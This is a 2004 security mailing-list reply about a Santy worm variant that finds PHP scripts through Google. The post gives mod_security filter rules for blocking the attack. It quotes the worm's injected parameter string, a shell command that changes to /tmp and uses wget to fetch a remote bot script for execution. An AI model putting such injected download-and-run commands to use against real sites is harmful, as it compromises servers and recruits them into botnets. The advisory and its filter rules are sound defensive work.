Re: New Santy-Worm attacks *all* PHP-skripts

On Sat, 25 Dec 2004, Juergen Schmidt wrote:

> the new santy version not only attacks phpBB.
> 
> It uses the brasilian Google site to find all kinds of PHP skripts.
> It parses their URLs and overwrites variables with strings like:
> 
> 'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget
> www.visualcoders.net/spybot.txt;...
> 
> Often enough this leads to download and execution of code.
> On success the worm connects to an IRC server, where already more than 700
> zombies are waiting for commands.

My friend Suzi from http://spywarewarrior.com who runs Wordpress found 
this:

http://wordpress.org/support/7/19285

Within five minutes I've logged over 600 attempts on my server.

For those using mod_security, I'm implemented a nice 406 in the meantime, 
it is Christmas after all, I'm sure we want to elsewhere:

[code]
SecFilter "visualcoders\.net/spy\.gif\?\&cmd"
SecFilter ":/"
[/code]

Just in case the URL changes, the latter should still get all sorts of:

http://
ftp://

Naturally, the latter also filters on 

%3a%2f

No Warranty
-----------
ALL SUCH INFORMATION, SOFTWARE, PRODUCTS, AND SERVICES ARE PROVIDED
"AS IS" WITHOUT WARRANTY OF ANY KIND. CASTLECOPS, ITS AFFILIATES,
AND/OR THEIR RESPECTIVE SUPPLIERS HEREBY DISCLAIM ALL WARRANTIES
AND CONDITIONS WITH REGARD TO THIS INFORMATION, SOFTWARE, PRODUCTS,
AND SERVICES, INCLUDING ALL IMPLIED WARRANTIES AND CONDITIONS OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE, AND
NONINFRINGEMENT. http://castlecops.com/article1.html

-- 
Regards,

Paul Laudanski - Computer Cops, LLC. CEO & Founder
CastleCops(SM) - http://castlecops.com
Promoting education and health in online security and privacy.